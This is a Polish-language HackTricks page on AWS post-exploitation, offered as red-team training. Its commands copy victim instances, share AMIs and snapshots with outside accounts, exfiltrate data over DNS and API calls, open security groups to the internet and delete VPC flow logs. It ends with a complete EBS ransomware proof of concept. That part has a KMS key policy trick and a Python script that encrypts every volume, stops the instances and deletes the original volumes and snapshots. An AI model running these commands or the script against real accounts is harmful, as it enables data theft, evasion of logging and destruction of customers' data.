AWS - EC2, EBS, SSM & VPC Post Exploitation

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

EC2 & VPC

Aby uzyskać więcej informacji, sprawdź:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Złośliwe Lustro VPC - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

Lustrowanie ruchu VPC duplikuje ruch przychodzący i wychodzący dla instancji EC2 w obrębie VPC bez potrzeby instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch byłby zazwyczaj wysyłany do czegoś takiego jak system wykrywania intruzów w sieci (IDS) w celu analizy i monitorowania. Napastnik mógłby to wykorzystać do przechwycenia całego ruchu i uzyskania wrażliwych informacji:

Aby uzyskać więcej informacji, sprawdź tę stronę:

AWS - Malicious VPC Mirror

Skopiuj działającą instancję

Instancje zazwyczaj zawierają jakiś rodzaj wrażliwych informacji. Istnieją różne sposoby, aby się do nich dostać (sprawdź sztuczki eskalacji uprawnień EC2). Jednak innym sposobem na sprawdzenie, co zawierają, jest utworzenie AMI i uruchomienie nowej instancji (nawet na swoim własnym koncie) z niej:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Migawki to kopie zapasowe woluminów, które zazwyczaj zawierają wrażliwe informacje, dlatego ich sprawdzenie powinno ujawnić te informacje. Jeśli znajdziesz wolumin bez migawki, możesz: Utworzyć migawkę i wykonać następujące działania lub po prostu zamontować go w instancji w ramach konta:

AWS - EBS Snapshot Dump

Data Exfiltration

DNS Exfiltration

Nawet jeśli zablokujesz EC2, aby żaden ruch nie mógł się wydostać, nadal może wyciekać przez DNS.

  • Logi przepływu VPC nie zarejestrują tego.

  • Nie masz dostępu do logów DNS AWS.

  • Wyłącz to, ustawiając "enableDnsSupport" na false za pomocą:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

Atakujący może wywołać punkty końcowe API konta, które kontroluje. Cloudtrail zarejestruje te wywołania, a atakujący będzie mógł zobaczyć wykradzione dane w logach Cloudtrail.

Open Security Group

Możesz uzyskać dalszy dostęp do usług sieciowych, otwierając porty w ten sposób:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc do ECS

Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej do użycia w celu uruchomienia instancji ECS, a następnie kradzież danych instancji ECS.

Dla więcej informacji sprawdź to.

Usuń logi przepływu VPC

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

Wymagane uprawnienia:

  • ssm:StartSession

Oprócz wykonywania poleceń, SSM umożliwia tunelowanie ruchu, co można wykorzystać do przejścia z instancji EC2, które nie mają dostępu do sieci z powodu grup zabezpieczeń lub NACL. Jednym ze scenariuszy, w których jest to przydatne, jest przejście z Bastion Host do prywatnego klastra EKS.

Aby rozpocząć sesję, musisz mieć zainstalowany SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. Zainstaluj SessionManagerPlugin na swoim komputerze

  2. Zaloguj się do Bastion EC2, używając następującego polecenia:

aws ssm start-session --target "$INSTANCE_ID"
  1. Uzyskaj tymczasowe poświadczenia Bastion EC2 AWS za pomocą skryptu Abusing SSRF in AWS EC2 environment

  2. Przenieś poświadczenia na swoją maszynę do pliku $HOME/.aws/credentials jako profil [bastion-ec2]

  3. Zaloguj się do EKS jako Bastion EC2:

aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. Zaktualizuj pole server w pliku $HOME/.kube/config, aby wskazywało na https://localhost

  2. Utwórz tunel SSM w następujący sposób:

sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. Ruch z narzędzia kubectl jest teraz przekazywany przez tunel SSM za pośrednictwem Bastion EC2 i możesz uzyskać dostęp do prywatnego klastra EKS z własnej maszyny, uruchamiając:

kubectl get pods --insecure-skip-tls-verify

Zauważ, że połączenia SSL zakończą się niepowodzeniem, chyba że ustawisz flagę --insecure-skip-tls-verify (lub jej odpowiednik w narzędziach audytowych K8s). Biorąc pod uwagę, że ruch jest tunelowany przez bezpieczny tunel AWS SSM, jesteś bezpieczny przed wszelkiego rodzaju atakami MitM.

Na koniec, ta technika nie jest specyficzna dla atakowania prywatnych klastrów EKS. Możesz ustawić dowolne domeny i porty, aby przełączyć się na dowolną inną usługę AWS lub niestandardową aplikację.

Share AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Wyszukiwanie wrażliwych informacji w publicznych i prywatnych AMI

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel to narzędzie zaprojektowane do wyszukiwania wrażliwych informacji w publicznych lub prywatnych obrazach maszyn Amazon (AMI). Automatyzuje proces uruchamiania instancji z docelowych AMI, montowania ich woluminów i skanowania w poszukiwaniu potencjalnych sekretów lub wrażliwych danych.

Udostępnij migawkę EBS

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach po eksploatacji S3. KMS powinno być nazwane RMS, czyli Ransomware Management Service, biorąc pod uwagę, jak łatwo jest go używać do szyfrowania różnych usług AWS.

Najpierw z konta AWS 'atakującego' utwórz klucz zarządzany przez klienta w KMS. W tym przykładzie pozwolimy AWS zarządzać danymi klucza, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień politykę klucza, aby zezwolić na użycie klucza przez dowolny podmiot AWS. W tej polityce klucza nazwa konta to 'AttackSim', a reguła polityki zezwalająca na pełny dostęp nazywa się 'Outside Encryption'

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Polityka klucza wymaga włączenia następujących uprawnień, aby umożliwić jego użycie do szyfrowania woluminu EBS:

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

Teraz, mając publicznie dostępnym kluczem do użycia. Możemy użyć konta 'ofiary', które ma uruchomione instancje EC2 z podłączonymi nieszyfrowanymi woluminami EBS. Woluminy EBS tego konta 'ofiary' są celem szyfrowania, ten atak zakłada naruszenie konta AWS o wysokich uprawnieniach.

W rezultacie w koncie pozostaną tylko szyfrowane woluminy EBS.

Warto również zauważyć, że skrypt zatrzymał instancje EC2, aby odłączyć i usunąć oryginalne woluminy EBS. Oryginalne nieszyfrowane woluminy są teraz zniknęły.

Następnie wróć do polityki klucza w koncie 'atakującego' i usuń regułę polityki 'Zewnętrzne Szyfrowanie' z polityki klucza.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Poczekaj chwilę, aż nowa polityka klucza zostanie rozpropagowana. Następnie wróć do konta 'ofiary' i spróbuj podłączyć jedną z nowo zaszyfrowanych woluminów EBS. Zauważysz, że możesz podłączyć wolumin.

Jednak gdy spróbujesz rzeczywiście uruchomić instancję EC2 z zaszyfrowanym woluminem EBS, po prostu się nie powiedzie i przejdzie z stanu 'oczekiwania' z powrotem do stanu 'zatrzymany' na zawsze, ponieważ podłączony wolumin EBS nie może być odszyfrowany za pomocą klucza, ponieważ polityka klucza już na to nie pozwala.

To jest skrypt w Pythonie używany. Przyjmuje dane uwierzytelniające AWS dla konta 'ofiary' oraz publicznie dostępny wartość ARN AWS dla klucza, który ma być użyty do szyfrowania. Skrypt utworzy zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS podłączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odłączy oryginalne woluminy EBS, usunie je, a na koniec usunie wszystkie migawki wykorzystane w trakcie procesu. To pozostawi tylko zaszyfrowane woluminy EBS w docelowym koncie 'ofiary'. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE WOLUMINY EBS. Możesz je odzyskać, używając wykorzystanego klucza KMS i przywrócić do ich pierwotnego stanu za pomocą migawek, ale chcę tylko, abyś był świadomy, że to jest PoC ransomware na końcu dnia.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Last updated